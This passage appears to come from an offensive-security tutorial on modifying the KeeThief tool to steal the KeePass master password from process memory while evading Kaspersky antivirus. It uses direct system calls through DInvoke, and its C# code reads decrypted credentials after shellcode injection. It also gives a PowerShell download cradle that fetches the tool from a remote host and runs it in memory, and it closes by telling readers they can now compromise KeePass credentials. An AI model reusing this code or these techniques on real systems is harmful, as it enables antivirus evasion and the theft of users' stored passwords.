class Delegates{ // https://github.com/snovvcrash/KeeThief/blob/3a1415e247688bc581f4dd036a6709737b3b3848/KeeTheft/KeeTheft/Delegates.cs#L26-L32 [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate DI.Data.Native.NTSTATUS NtReadVirtualMemory( IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint NumberOfBytesToRead, ref uint NumberOfBytesReaded);}class Syscalls{ // https://github.com/snovvcrash/KeeThief/blob/3a1415e247688bc581f4dd036a6709737b3b3848/KeeTheft/KeeTheft/Syscalls.cs#L36-L47 public static DI.Data.Native.NTSTATUS NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint NumberOfBytesToRead, ref uint NumberOfBytesReaded) { // Get system call stub (i.e. pointer to the export of target function) and use it to initialize delegate IntPtr stub = DI.DynamicInvoke.Generic.GetSyscallStub("NtReadVirtualMemory"); Delegates.NtReadVirtualMemory ntReadVirtualMemory = (Delegates.NtReadVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtReadVirtualMemory)); // Address delegate as target function and return result return ntReadVirtualMemory( ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, ref NumberOfBytesReaded); }}
Now I have to make changes in the logic of the Main class Program.cs. Initially, it was as follows.
static class Program{ public static void ExtractKeyInfo(IUserKey key, IntPtr ProcessHandle, bool DecryptKeys) { // https://github.com/GhostPack/KeeThief/blob/04f3fbc0ba87dbcd9011ad40a1382169dc5afd59/KeeTheft/KeeTheft/Program.cs#L156-L165 // Read plaintext password! // Wait for shellcode to execute Thread.Sleep(1000); // Declare a variable for the number of read bytes and a static array to save the result IntPtr NumBytes; byte[] plaintextBytes = new byte[key.encryptedBlob.Length]; // Call the ReadProcessMemory function and pass address of the memory area to read the master password from as argument (EncryptedBlobAddr) int res = Win32.ReadProcessMemory(ProcessHandle, EncryptedBlobAddr, plaintextBytes, plaintextBytes.Length, out NumBytes); if (res != 0 && NumBytes.ToInt64() == plaintextBytes.Length) { // If successful, assign the result to the plaintextBlob field of the key object and display it in the console key.plaintextBlob = plaintextBytes; Logger.WriteLine(key); } }}
Here, the already decrypted memory area in the remote process is read after the shellcode execution. The ReadProcessMemory
function was selected as an example on purpose: its porting requires plenty of fiddling with types of parameters passed.
Below is what I got.
static class Program{ public static void ExtractKeyInfo(IUserKey key, IntPtr ProcessHandle, bool DecryptKeys) { // https://github.com/snovvcrash/KeeThief/blob/3a1415e247688bc581f4dd036a6709737b3b3848/KeeTheft/KeeTheft/Program.cs#L161-L174 // Read plaintext password! // Wait for shellcode to execute Thread.Sleep(1000); // Declare a variable for the number of read bytes and a pointer to the unmanaged memory area to save the result uint NumBytes = 0; IntPtr pPlaintextBytes = Marshal.AllocHGlobal(key.encryptedBlob.Length); // Call the ReadProcessMemory function and pass address of the memory area to read the master password from as argument (EncryptedBlobAddr) if (Syscalls.NtReadVirtualMemory(ProcessHandle, EncryptedBlobAddr, pPlaintextBytes, (uint)key.encryptedBlob.Length, ref NumBytes) == 0 && NumBytes == key.encryptedBlob.Length) { // If successful, copy the read bytes from the unmanaged memory area to a static array byte[] plaintextBytes = new byte[NumBytes]; Marshal.Copy(pPlaintextBytes, plaintextBytes, 0, (int)NumBytes); // Assign the result to the plaintextBlob field of the key object and display it in the console key.plaintextBlob = plaintextBytes; Logger.WriteLine(key); } // Free unmanaged memory allocated earlier Marshal.FreeHGlobal(pPlaintextBytes); }}
As you can see, the main difference is that the Native API has no idea about .NET managed arrays; so, you have to alter the logic for work with unmanaged memory.
The rest of the Win32 API calls can be easily found in Program.cs using Ctrl-F; you have to perform for them the same operations as for ReadProcessMemory
. The result is available in my fork.
Testing
I am going to compile the modified assembly and create a test KeeThief database with the password Passw0rd!
. In my tests, I used the latest KeePass version available at the time of writing (2.50).
Loading the assembly to the memory and calling its entry point while the KeePass database is open.
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.0.184/KeeTheft.exe')$assembly = [System.Reflection.Assembly]::Load($data)[KeeTheft.Program]::Main(" ")
Conclusions
Viruses have been employing system calls for a long time. In such situations, antivirus software detects malicious behavior by monitoring ntdll.dll parsing operations and launches of suspicious processes or threads that use potentially dangerous calls (e.g. NtCreateThreadEx
, NtQueueApcThread
, etc.).
Now you know how to bypass Kaspersky AV and compromise credentials in KeePass. As a homework, you can create an elegant download cradle to execute the program from memory in PowerShell in one click (hint: review a few articles about System.
). Good luck!